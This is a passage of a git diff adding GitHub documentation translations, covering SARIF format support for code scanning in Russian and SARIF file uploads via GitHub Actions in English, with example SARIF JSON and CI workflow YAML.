%} будут обрабатываться и отображаться, но пользователи могут видеть повторяющиеся оповещения. Чтобы избежать появления повторяющихся оповещений, следует вычислить данные отпечатка и заполнить свойство `partialFingerprints` перед отправкой файла SARIF. Вы можете найти скрипт, в котором действие `upload-sarif` использует полезную отправную точку: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. Дополнительные сведения об API см. в разделе [Передача анализа в виде данных SARIF](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data). + +## Общие сведения о правилах и результатах + +Файлы SARIF поддерживают как правила, так и результаты. Информация, хранящаяся в этих элементах, аналогична, но предназначена для разных целей. + +- Правила — это массив объектов `reportingDescriptor`, включенных в объект `toolComponent`. Здесь хранятся сведения о правилах, выполняемых во время анализа. Информация в этих объектах должна изменяться редко, обычно при обновлении средства. + +- Результаты хранятся в виде ряда объектов `result` в `results` в объекте `run`. Каждый объект `result` содержит сведения об одном оповещении в базе кода. В объекте `results` можно ссылаться на правило, которое обнаружило оповещение. + +Сравнивая файлы SARIF, созданные путем анализа разных баз кода, с одним и тем же средством и правилами, вы должны увидеть различия в результатах анализа, но не в правилах. + +## Указание корневого каталога для исходных файлов + +{% data variables.product.prodname_code_scanning_capc %} интерпретирует результаты, сообщаемые с относительными путями, как относительно корня проанализированного репозитория. Если результат содержит абсолютный URI, URI преобразуется в относительный URI. Затем относительный URI можно сопоставить с файлом, зафиксированным в репозитории. + +Корневой каталог источника можно указать для преобразования из абсолютных в относительные URI одним из следующих способов. + +- [`checkout_path`](https://github.com/github/codeql-action/blob/c2c0a2908e95769d01b907f9930050ecb5cf050d/analyze/action.yml#L44-L47) входные данные для `github/codeql-action/analyze` действия +- `checkout_uri` параметр для конечной точки API отправки SARIF. Дополнительные сведения см. в разделе ["{% data variables.product.prodname_code_scanning_capc %}](/rest/code-scanning#upload-an-analysis-as-sarif-data)" в документации по REST API. +- [`invocation.workingDirectory.uri`](https://docs.oasis-open.org/sarif/sarif/v2.1.0/csprd01/sarif-v2.1.0-csprd01.html#_Toc9244365) свойство в ФАЙЛЕ SARIF + +При указании корня источника любое расположение артефакта, указанное с помощью абсолютного URI, должно использовать ту же схему URI. При наличии несоответствия между схемой URI для корня источника и одним или несколькими абсолютными URI отправка отклоняется. + +Например, SARIF-файл отправляется с помощью корневого `file:///github/workspace`каталога источника . + +``` +# Conversion of absolute URIs to relative URIs for location artifacts + +file:///github/workspace/src/main.go -> src/main.go +file:///tmp/go-build/tmp.go -> file:///tmp/go-build/tmp.go +``` + +Файл успешно отправлен, так как оба абсолютных URI используют ту же схему URI, что и корень источника. + +## Проверка файла SARIF + + + +Вы можете проверить совместимость файла SARIF с {% data variables.product.prodname_code_scanning %}, протестировав его в соответствии с правилами приема данных {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. на странице [проверяющего элемента управления SARIF Microsoft](https://sarifweb.azurewebsites.net/). + +{% data reusables.code-scanning.upload-sarif-alert-limit %} + +## Поддерживаемые свойства выходного файла SARIF + +При использовании подсистемы анализа кода, отличной от {% data variables.product.prodname_codeql %}, можно проверить поддерживаемые свойства SARIF, чтобы оптимизировать способ отображения результатов анализа в {% data variables.product.prodname_dotcom %}. + +{% note %} + +**Примечание:** Необходимо указать явное значение для любого свойства, помеченного как "required". Пустая строка не поддерживается для обязательных свойств. + +{% endnote %} + +Любой допустимый выходной файл SARIF 2.1.0 можно отправить, но {% data variables.product.prodname_code_scanning %} будет использовать только указанные ниже поддерживаемые свойства. + +### Объект `sarifLog`. + +| Имя | Описание | +|----|----| +| `$schema` | **Обязательный.** Универсальный код ресурса (URI) схемы JSON для SARIF версии 2.1.0. Например, `https://json.schemastore.org/sarif-2.1.0.json`. | +| `version` | **Обязательный.** {% data variables.product.prodname_code_scanning_capc %} поддерживает только SARIF версии `2.1.0`. +| `runs[]` | **Обязательный.** Файл SARIF содержит массив из одного или нескольких запусков. Каждый запуск представляет собой один запуск средства анализа. Дополнительные сведения о `run` см. в разделе [Объект `run`](#run-object). + +### Объект `run`. + +{% data variables.product.prodname_code_scanning_capc %} использует объект `run` для фильтрации результатов по средству и предоставлению сведений об источнике результата. Объект `run` содержит объект компонента средства `tool.driver`, содержащий сведения о средстве, которое создало результаты. Каждый объект `run` может содержать только результаты для одного средства анализа. + +| Имя | Описание | +|----|----| +| `tool.driver` | **Обязательный.** Объект `toolComponent`, описывающий средство анализа. Дополнительные сведения см. в разделе [Объект `toolComponent`](#toolcomponent-object). | +| `tool.extensions[]` | **Необязательный элемент.** Массив объектов `toolComponent`, представляющих все подключаемые модули или расширения, используемые средством во время анализа. Дополнительные сведения см. в разделе [Объект `toolComponent`](#toolcomponent-object). | +| `invocation.workingDirectory.uri` | **Необязательный элемент.** Это поле используется только в том случае, если `checkout_uri` (только API отправки SARIF) или `checkout_path` (только {% data variables.product.prodname_actions %} не предоставляется. Значение используется для преобразования абсолютных URI, используемых в объектах, в [`physicalLocation`](#physicallocation-object) относительные URI. Дополнительные сведения см. в разделе [Указание корневого каталога для исходных файлов](#specifying-the-root-for-source-files).| +| `results[]` | **Обязательный.** Результаты средства анализа. {% data variables.product.prodname_code_scanning_capc %} отображает результаты в {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Объект `result`](#result-object). + +### Объект `toolComponent`. + +| Имя | Описание | +|----|----| +| `name` | **Обязательный.** Имя средства анализа. {% data variables.product.prodname_code_scanning_capc %} отображает имя в {% data variables.product.prodname_dotcom %}, чтобы можно было фильтровать результаты по средству. | +| `version` | **Необязательный элемент.** Версия средства анализа. {% data variables.product.prodname_code_scanning_capc %} использует номер версии для отслеживания изменения результатов вследствие изменения версии средства, а не изменения анализируемого кода. Если файл SARIF содержит поле `semanticVersion`, {% data variables.product.prodname_code_scanning %} не использует `version`. | +| `semanticVersion` | **Необязательный элемент.** Версия средства анализа, заданная форматом Семантического версионирования 2.0. {% data variables.product.prodname_code_scanning_capc %} использует номер версии для отслеживания изменения результатов вследствие изменения версии средства, а не изменения анализируемого кода. Если файл SARIF содержит поле `semanticVersion`, {% data variables.product.prodname_code_scanning %} не использует `version`. Дополнительные сведения см. на сайте по [Семантическому версионированию 2.0.0](https://semver.org/) в документации. | +| `rules[]` | **Обязательный.** Массив объектов `reportingDescriptor`, представляющих правила. Средство анализа использует правила для поиска проблем в анализируемом коде. Дополнительные сведения см. в разделе [Объект `reportingDescriptor`](#reportingdescriptor-object). | + +### Объект `reportingDescriptor`. + +Здесь хранятся сведения о правилах, выполняемых во время анализа. Информация в этих объектах должна изменяться редко, обычно при обновлении средства. Дополнительные сведения см. в разделе [Общие сведения о правилах и результатах](#understanding-rules-and-results) выше. + +| Имя | Описание | +|----|----| +| `id` | **Обязательный.** Уникальный идентификатор правила. `id` ссылается на другие части файла SARIF, а {% data variables.product.prodname_code_scanning %} может его использовать для отображения URL-адресов в {% data variables.product.prodname_dotcom %}. | +| `name` | **Необязательный элемент.** Имя правила. {% data variables.product.prodname_code_scanning_capc %} отображает имя, чтобы можно было фильтровать результаты по правилу в {% data variables.product.prodname_dotcom %}. | +| `shortDescription.text` | **Обязательный.** Краткое описание правила. {% data variables.product.prodname_code_scanning_capc %} отображает краткое описание в {% data variables.product.prodname_dotcom %} рядом с соответствующими результатами. +| `fullDescription.text` | **Обязательный.** Описание правила. {% data variables.product.prodname_code_scanning_capc %} отображает полное описание в {% data variables.product.prodname_dotcom %} рядом с соответствующими результатами. Максимальное количество знаков — 1000. +| `defaultConfiguration.level` | **Необязательный элемент.** Уровень серьезности правила по умолчанию. {% data variables.product.prodname_code_scanning_capc %} использует уровни серьезности, чтобы помочь вам понять, насколько важен результат для данного правила. Это значение можно переопределить атрибутом `level` в объекте `result`. Дополнительные сведения см. в разделе [Объект `result`](#result-object). Значение по умолчанию: `warning`. +| `help.text` | **Обязательный.** Документация по правилу с использованием текстового формата. {% data variables.product.prodname_code_scanning_capc %} отображает эту справочную документацию рядом с соответствующими результатами. +| `help.markdown` | **Рекомендуется.** Документация по правилу с использованием формата Markdown. {% data variables.product.prodname_code_scanning_capc %} отображает эту справочную документацию рядом с соответствующими результатами. Если объект `help.markdown` доступен, то отображается вместо `help.text`. +| `properties.tags[]` | **Необязательный элемент.** Массив строк. {% data variables.product.prodname_code_scanning_capc %} использует `tags`, чтобы можно было фильтровать результаты в {% data variables.product.prodname_dotcom %}. Например, можно отфильтровать все результаты с тегом `security`. +| `properties.precision` | **Рекомендуется.** Строка, показывающая, как часто результаты, указанные этим правилом, являются истинными. Например, если правило имеет известный высокий ложноположительный коэффициент, то точность должна быть `low`. {% data variables.product.prodname_code_scanning_capc %} упорядочивает результаты по точности в {% data variables.product.prodname_dotcom %}, чтобы сначала отображались результаты с наивысшим `level` и наибольшей `precision`. Это может быть `very-high`, `high`, `medium` или `low`. +| `properties.problem.severity` | **Рекомендуется.** Строка, указывающая уровень серьезности любых оповещений, созданных запросом, не связанным с безопасностью. Со свойством `properties.precision` определяет, отображаются ли результаты по умолчанию в {% data variables.product.prodname_dotcom %} так, чтобы сначала отображались результаты с наивысшим значением `problem.severity` и наибольшей `precision`. Это может быть `error`, `warning` или `recommendation`. +| `properties.security-severity` | **Рекомендуется.** Строка, представляющая оценку, указывающую уровень серьезности (в диапазоне от 0,0 до 10,0) для запросов безопасности (`@tags` содержит `security`). Со свойством `properties.precision` определяет, отображаются ли результаты по умолчанию в {% data variables.product.prodname_dotcom %} так, чтобы сначала отображались результаты с наивысшим значением `security-severity` и наибольшей `precision`. {% data variables.product.prodname_code_scanning_capc %} преобразует числовые оценки следующим образом: больше 9,0 — `critical`, от 7,0 до 8,9 — `high`, от 4,0 до 6,9 — `medium` и 3,9 или меньше — `low`. + +### Объект `result`. + +Каждый объект `result` содержит сведения об одном оповещении в базе кода. В объекте `results` можно ссылаться на правило, которое обнаружило оповещение. Дополнительные сведения см. в разделе [Общие сведения о правилах и результатах](#understanding-rules-and-results) выше. + +{% data reusables.code-scanning.upload-sarif-alert-limit %} + +| Имя | Описание | +|----|----| +| `ruleId`| **Необязательный элемент.** Уникальный идентификатор правила (`reportingDescriptor.id`). Дополнительные сведения см. в разделе [Объект `reportingDescriptor`](#reportingdescriptor-object). {% data variables.product.prodname_code_scanning_capc %} использует идентификатор правила, чтобы фильтровать результаты по правилу в {% data variables.product.prodname_dotcom %}. +| `ruleIndex`| **Необязательный элемент.** Индекс связанного правила (объект `reportingDescriptor`) в массиве `rules` компонента средства. Дополнительные сведения см. в разделе [Объект `run`](#run-object). Допустимый диапазон для этого свойства от 0 до 2^63 – 1. +| `rule`| **Необязательный элемент.** Ссылка, используемая для поиска правила (дескриптора отчетности) для этого результата. Дополнительные сведения см. в разделе [Объект `reportingDescriptor`](#reportingdescriptor-object). +| `level`| **Необязательный элемент.** Серьезность результата. Этот уровень переопределяет серьезность по умолчанию, определенную правилом. {% data variables.product.prodname_code_scanning_capc %} использует уровень, чтобы фильтровать результаты по серьезности в {% data variables.product.prodname_dotcom %}. +| `message.text`| **Обязательный.** Сообщение, которое описывает результат. {% data variables.product.prodname_code_scanning_capc %} отображает текст сообщения в качестве заголовка результата. Если видимое пространство ограничено, отображается только первое предложение сообщения. +| `locations[]`| **Обязательный.** Набор расположений, в которых был обнаружен результат ( не более 10). Следует включить только одно расположение, если проблему не получается исправить только внесением изменений в каждом указанном расположении. **Примечание.** Для отображения результата требуется по крайней мере одно расположение для {% data variables.product.prodname_code_scanning %}. {% data variables.product.prodname_code_scanning_capc %} будет использовать это свойство, чтобы определить, какой файл добавлять в заметки к результату. Используется только первое значение этого массива. Все остальные значения не учитываются. +| `partialFingerprints`| **Обязательный.** Набор строк, используемых для отслеживания уникального идентификатора результата. {% data variables.product.prodname_code_scanning_capc %} использует `partialFingerprints`, чтобы точно определить, какие результаты одинаковые в фиксациях и ветвях. {% data variables.product.prodname_code_scanning_capc %} попытается использовать `partialFingerprints`, если они существуют. Если вы отправляете сторонние файлы SARIF с помощью `upload-action`, то для вас действие создаст `partialFingerprints` (если их нет в файле SARIF). Дополнительные сведения см. в разделе [Предоставление данных для отслеживания оповещений сканирования кода во время выполнения](#providing-data-to-track-code-scanning-alerts-across-runs). **Примечание.** {% data variables.product.prodname_code_scanning_capc %} использует только `primaryLocationLineHash`. +| `codeFlows[].threadFlows[].locations[]`| **Необязательный элемент.** Массив объектов `location` для объекта `threadFlow`, который описывает ход выполнения программы через поток выполнения. Объект `codeFlow` описывает шаблон выполнения кода для обнаружения результата. Если потоки кода предоставлены, {% data variables.product.prodname_code_scanning %} развернет потоки кода в {% data variables.product.prodname_dotcom %} для соответствующего результата. Дополнительные сведения см. в разделе [Объект `location`](#location-object). +| `relatedLocations[]`| Набор расположений, относящихся к этому результату. {% data variables.product.prodname_code_scanning_capc %} будет ссылаться на связанные расположения при их внедрении в результирующее сообщение. Дополнительные сведения см. в разделе [Объект `location`](#location-object). + +### Объект `location`. + +Расположение в артефакте программирования, например файл в репозитории или файл, созданный во время сборки. + +| Имя | Описание | +|----|----| +| `location.id` | **Необязательный элемент.** Уникальный идентификатор, отличающий это расположение от всех остальных расположений в одном объекте результата. Допустимый диапазон для этого свойства от 0 до 2^63 – 1. +| `location.physicalLocation` | **Обязательный.** Идентифицирует артефакт и регион. Более подробную информацию см. в разделе [`physicalLocation`](#physicallocation-object). +| `location.message.text` | **Необязательный элемент.** Сообщение, соответствующее расположению. + +### Объект `physicalLocation`. + +| Имя | Описание | +|----|----| +| `artifactLocation.uri`| **Обязательный.** Универсальный код ресурса (URI), указывающий расположение артефакта, обычно это файл в репозитории или созданный во время сборки. Для достижения наилучших результатов рекомендуется использовать относительный путь из корня анализируемого репозитория GitHub. Например, `src/main.js`. Дополнительные сведения об URI артефактов см. [в разделе Указание корневого каталога для исходных файлов](#specifying-the-root-for-source-files).| +| `region.startLine` | **Обязательный.** Номер строки первого символа в регионе. +| `region.startColumn` | **Обязательный.** Номер столбца первого символа в регионе. +| `region.endLine` | **Обязательный.** Номер строки последнего символа в регионе. +| `region.endColumn` | **Обязательный.** Номер столбца символа, следующего за концом региона. + +### Объект `runAutomationDetails`. + +Объект `runAutomationDetails` содержит сведения, указывающие идентификатор выполнения. + +{% note %} + +**Примечание.** `runAutomationDetails` является объектом SARIF версии 2.1.0. Если вы используете {% data variables.product.prodname_codeql_cli %}, можно указать используемую версию SARIF. Эквивалентным объектом для `runAutomationDetails` является `.automationId` для SARIF версии 1 и `.automationLogicalId` для SARIF версии 2. + +{% endnote %} + +| Имя | Описание | +|----|----| +| `id`| **Необязательный элемент.** Строка, идентифицирующая категорию анализа и идентификатор выполнения. Используйте, если вы хотите передать несколько файлов SARIF для одного и того же средства и фиксации, но для разных языков или различных частей кода. | + +Использование объекта `runAutomationDetails` не является обязательным. + +Поле `id` может включать категорию анализа и идентификатор выполнения. Мы не используем элемент идентификатора выполнения в поле `id`, но сохраняем его. + +Используйте эту категорию для различения нескольких анализов для одного и того же средства или фиксации, но для разных языков или различных элементов кода. Используйте идентификатор выполнения, чтобы определить конкретный запуск анализа, например дату запуска анализа. + +`id` интерпретируется как `category/run-id`. Если `id` содержит косую черту (`/`), то вся строка является `run_id`, а `category` будет пустой. В противном случае `category` является все, что находится в строке до последней косой черты, а все, что после нее — `run_id`. + +| `id` | категория | `run_id` | +|----|----|----| +| my-analysis/tool1/2021-02-01 | my-analysis/tool1 | 2021-02-01 +| my-analysis/tool1/ | my-analysis/tool1 | _нет `run-id`_ +| my-analysis for tool1 | _нет категории_ | my-analysis for tool1 + +- Выполнение с `id` для my-analysis/tool1/2021-02-01 относится к категории my-analysis/tool1. Предположительно, это запуск от 2 февраля 2021 г. +- Выполнение с `id` для my-analysis/tool1/ относится к категории my-analysis/tool1, но не отличается от других выполнений в этой категории. +- Выполнение, `id` которого является my-analysis for tool1, имеет уникальный идентификатор, но не может быть выводимым для принадлежности к какой-либо категории. + +Дополнительные сведения об объекте `runAutomationDetails` и поле `id` см. в разделе [Объект runAutomationDetails](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012479) в документации по OASIS. + +Обратите внимание, что остальные поддерживаемые поля не учитываются. + +## Примеры выходных файлов SARIF + +В этих примерах выходных файлов SARIF отображаются поддерживаемые свойства и примеры значений. + +### Пример с минимальными обязательными свойствами + +Этот выходной файл SARIF содержит примеры значений для отображения минимальных обязательных свойств для результатов {% data variables.product.prodname_code_scanning %} для нормальной работы. Если удалить какие-либо свойства, опустить значения или использовать пустую строку, эти данные не будут отображаться правильно или синхронизироваться с {% data variables.product.prodname_dotcom %}. + +```json +{ + "$schema": "https://json.schemastore.org/sarif-2.1.0.json", + "version": "2.1.0", + "runs": [ + { + "tool": { + "driver": { + "name": "Tool Name", + "rules": [ + { + "id": "R01" + ... + "properties" : { + "id" : "java/unsafe-deserialization", + "kind" : "path-problem", + "name" : "...", + "problem.severity" : "error", + "security-severity" : "9.8", + } + } + ] + } + }, + "results": [ + { + "ruleId": "R01", + "message": { + "text": "Result text. This result does not have a rule associated." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "fileURI" + }, + "region": { + "startLine": 2, + "startColumn": 7, + "endColumn": 10 + } + } + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "39fa2ee980eb94b0:1" + } + } + ] + } + ] +} +``` + +### Пример, показывающий все поддерживаемые свойства SARIF + +Этот выходной файл SARIF содержит примеры значений для отображения всех поддерживаемых свойств SARIF для {% data variables.product.prodname_code_scanning %}. + +```json +{ + "$schema": "https://json.schemastore.org/sarif-2.1.0.json", + "version": "2.1.0", + "runs": [ + { + "tool": { + "driver": { + "name": "Tool Name", + "semanticVersion": "2.0.0", + "rules": [ + { + "id": "3f292041e51d22005ce48f39df3585d44ce1b0ad", + "name": "js/unused-local-variable", + "shortDescription": { + "text": "Unused variable, import, function or class" + }, + "fullDescription": { + "text": "Unused variables, imports, functions or classes may be a symptom of a bug and should be examined carefully." + }, + "defaultConfiguration": { + "level": "note" + }, + "properties": { + "tags": [ + "maintainability" + ], + "precision": "very-high" + } + }, + { + "id": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0", + "name": "js/inconsistent-use-of-new", + "shortDescription": { + "text": "Inconsistent use of 'new'" + }, + "fullDescription": { + "text": "If a function is intended to be a constructor, it should always be invoked with 'new'. Otherwise, it should always be invoked as a normal function, that is, without 'new'." + }, + "properties": { + "tags": [ + "reliability", + "correctness", + "language-features" + ], + "precision": "very-high" + } + }, + { + "id": "R01" + } + ] + } + }, + "automationDetails": { + "id": "my-category/" + }, + "results": [ + { + "ruleId": "3f292041e51d22005ce48f39df3585d44ce1b0ad", + "ruleIndex": 0, + "message": { + "text": "Unused variable foo." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "main.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 2, + "startColumn": 7, + "endColumn": 10 + } + } + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "39fa2ee980eb94b0:1", + "primaryLocationStartColumnFingerprint": "4" + } + }, + { + "ruleId": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0", + "ruleIndex": 1, + "message": { + "text": "Function resolvingPromise is sometimes invoked as a constructor (for example [here](1)), and sometimes as a normal function (for example [here](2))." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src/promises.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 2 + } + } + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "5061c3315a741b7d:1", + "primaryLocationStartColumnFingerprint": "7" + }, + "relatedLocations": [ + { + "id": 1, + "physicalLocation": { + "artifactLocation": { + "uri": "src/ParseObject.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 2281, + "startColumn": 33, + "endColumn": 55 + } + }, + "message": { + "text": "here" + } + }, + { + "id": 2, + "physicalLocation": { + "artifactLocation": { + "uri": "src/LiveQueryClient.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 166 + } + }, + "message": { + "text": "here" + } + } + ] + }, + { + "ruleId": "R01", + "message": { + "text": "Specifying both [ruleIndex](1) and [ruleID](2) might lead to inconsistencies." + }, + "level": "error", + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "full.sarif", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 54, + "startColumn": 10, + "endLine": 55, + "endColumn": 25 + } + } + } + ], + "relatedLocations": [ + { + "id": 1, + "physicalLocation": { + "artifactLocation": { + "uri": "full.sarif" + }, + "region": { + "startLine": 81, + "startColumn": 10, + "endColumn": 18 + } + }, + "message": { + "text": "here" + } + }, + { + "id": 2, + "physicalLocation": { + "artifactLocation": { + "uri": "full.sarif" + }, + "region": { + "startLine": 82, + "startColumn": 10, + "endColumn": 21 + } + }, + "message": { + "text": "here" + } + } + ], + "codeFlows": [ + { + "threadFlows": [ + { + "locations": [ + { + "location": { + "physicalLocation": { + "region": { + "startLine": 11, + "endLine": 29, + "startColumn": 10, + "endColumn": 18 + }, + "artifactLocation": { + "uriBaseId": "%SRCROOT%", + "uri": "full.sarif" + } + }, + "message": { + "text": "Rule has index 0" + } + } + }, + { + "location": { + "physicalLocation": { + "region": { + "endColumn": 47, + "startColumn": 12, + "startLine": 12 + }, + "artifactLocation": { + "uriBaseId": "%SRCROOT%", + "uri": "full.sarif" + } + } + } + } + ] + } + ] + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "ABC:2" + } + } + ], + "columnKind": "utf16CodeUnits" + } + ] +} +``` + diff --git a/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md b/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md new file mode 100644 index 000000000000..bbd4e2ad7e4c --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md @@ -0,0 +1,155 @@ +--- +title: Uploading a SARIF file to GitHub +shortTitle: Upload a SARIF file +intro: '{% data reusables.code-scanning.you-can-upload-third-party-analysis %}' +permissions: 'People with write permissions to a repository can upload {% data variables.product.prodname_code_scanning %} data generated outside {% data variables.product.prodname_dotcom %}.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/managing-security-vulnerabilities/uploading-a-code-scanning-analysis-to-github + - /github/finding-security-vulnerabilities-and-errors-in-your-code/uploading-a-sarif-file-to-github + - /code-security/secure-coding/uploading-a-sarif-file-to-github + - /code-security/secure-coding/integrating-with-code-scanning/uploading-a-sarif-file-to-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - Integration + - Actions + - Repositories + - CI + - SARIF +--- + + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning %} + +## About SARIF file uploads for {% data variables.product.prodname_code_scanning %} + +{% data variables.product.prodname_dotcom %} creates {% data variables.product.prodname_code_scanning %} alerts in a repository using information from Static Analysis Results Interchange Format (SARIF) files. SARIF files can be uploaded to a repository using the API or {% data variables.product.prodname_actions %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." + +You can generate SARIF files using many static analysis security testing tools, including {% data variables.product.prodname_codeql %}. The results must use SARIF version 2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." + +You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API,{% ifversion codeql-runner-supported %} the {% data variables.code-scanning.codeql_runner %},{% endif %} or the {% data variables.product.prodname_codeql_cli %}. The best upload method will depend on how you generate the SARIF file, for example, if you use: + +- {% data variables.product.prodname_actions %} to run the {% data variables.product.prodname_codeql %} action, there is no further action required. The {% data variables.product.prodname_codeql %} action uploads the SARIF file automatically when it completes analysis. +- {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below). + - The {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} in your CI system, you can use the CLI to upload results to {% data variables.product.prodname_dotcom %} (for more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% ifversion codeql-runner-supported %} +- The {% data variables.code-scanning.codeql_runner %}, to run {% data variables.product.prodname_code_scanning %} in your CI system, by default the runner automatically uploads results to {% data variables.product.prodname_dotcom %} on completion. If you block the automatic upload, when you are ready to upload results you can use the `upload` command (for more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)").{% endif %} +- A tool that generates results as an artifact outside of your repository, you can use the {% data variables.product.prodname_code_scanning %} API to upload the file (for more information, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"). + +{% data reusables.code-scanning.not-available %} + +## Uploading a {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_actions %} + +To use {% data variables.product.prodname_actions %} to upload a third-party SARIF file to a repository, you'll need a workflow. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + +Your workflow will need to use the `upload-sarif` action, which is part of the `github/codeql-action` repository. It has input parameters that you can use to configure the upload. The main input parameters you'll use are: + +- `sarif-file`, which configures the file or directory of SARIF files to be uploaded. The directory or file path is relative to the root of the repository. +- `category` (optional), which assigns a category for results in the SARIF file. This enables you to analyze the same commit in multiple ways and review the results using the {% data variables.product.prodname_code_scanning %} views in {% data variables.product.prodname_dotcom %}. For example, you can analyze using multiple tools, and in mono-repos, you can analyze different slices of the repository based on the subset of changed files. + +For more information see the [`upload-sarif` action](https://github.com/github/codeql-action/tree/{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}/upload-sarif). + +The `upload-sarif` action can be configured to run when the `push` and `scheduled` event occur. For more information about {% data variables.product.prodname_actions %} events, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." + +If your SARIF file doesn't include `partialFingerprints`, the `upload-sarif` action will calculate the `partialFingerprints` field for you and attempt to prevent duplicate alerts. {% data variables.product.prodname_dotcom %} can only create `partialFingerprints` when the repository contains both the SARIF file and the source code used in the static analysis. For more information about preventing duplicate alerts, see "[About SARIF support for code scanning](/code-security/secure-coding/sarif-support-for-code-scanning#providing-data-to-track-code-scanning-alerts-across-runs)." + +{% data reusables.code-scanning.upload-sarif-alert-limit %} + +### Example workflow for SARIF files generated outside of a repository + +You can create a new workflow that uploads SARIF files after you commit them to your repository. This is useful when the SARIF file is generated as an artifact outside of your repository. + +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." + +This workflow uploads the `results.sarif` file located in the root of the repository. For more information about creating a workflow file, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + +Alternatively, you could modify this workflow to upload a directory of SARIF files. For example, you could place all SARIF files in a directory in the root of your repository called `sarif-output` and set the action's input parameter `sarif_file` to `sarif-output`. Note that if you upload a directory, each SARIF file must include a unique `runAutomationDetails.id` to define the category for the results. For more information, see "[`runAutomationDetails` object](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#runautomationdetails-object)." + +```yaml +name: "Upload SARIF" + +# Run workflow each time code is pushed to your repository and on a schedule. +# The scheduled workflow runs every Thursday at 15:45 UTC. +on: + push: + schedule: + - cron: '45 15 * * 4' + +jobs: + build: + runs-on: ubuntu-latest + permissions: + # required for all workflows + security-events: write + # only required for workflows in private repositories + actions: read + contents: read + steps: + # This step checks out a copy of your repository. + - name: Checkout repository + uses: {% data reusables.actions.action-checkout %} + - name: Upload SARIF file + uses: {% data reusables.actions.action-codeql-action-upload-sarif %} + with: + # Path to SARIF file relative to the root of the repository + sarif_file: results.sarif + # Optional category for the results + # Used to differentiate multiple results for one commit + category: my-analysis-tool +``` + +### Example workflow that runs the ESLint analysis tool + +If you generate your third-party SARIF file as part of a continuous integration (CI) workflow, you can add the `upload-sarif` action as a step after running your CI tests. If you don't already have a CI workflow, you can create one using a {% data variables.product.prodname_actions %} template. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)." + +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." + +The workflow shows an example of running the ESLint static analysis tool as a step in a workflow. The `Run ESLint` step runs the ESLint tool and outputs the `results.sarif` file. The workflow then uploads the `results.sarif` file to {% data variables.product.prodname_dotcom %} using the `upload-sarif` action. For more information about creating a workflow file, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)." + +```yaml +name: "ESLint analysis" + +# Run workflow each time code is pushed to your repository and on a schedule. +# The scheduled workflow runs every Wednesday at 15:45 UTC. +on: + push: + schedule: + - cron: '45 15 * * 3' + +jobs: + build: + runs-on: ubuntu-latest + permissions: + # required for all workflows + security-events: write + # only required for workflows in private repositories + actions: read + contents: read + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Run npm install + run: npm install + # Runs the ESlint code analysis + - name: Run ESLint + # eslint exits 1 if it finds anything to report + run: node_modules/.bin/eslint build docs lib script spec-main -f node_modules/@microsoft/eslint-formatter-sarif/sarif.js -o results.sarif || true + # Uploads results.sarif to GitHub repository using the upload-sarif action + - uses: {% data reusables.actions.action-codeql-action-upload-sarif %} + with: + # Path to SARIF file 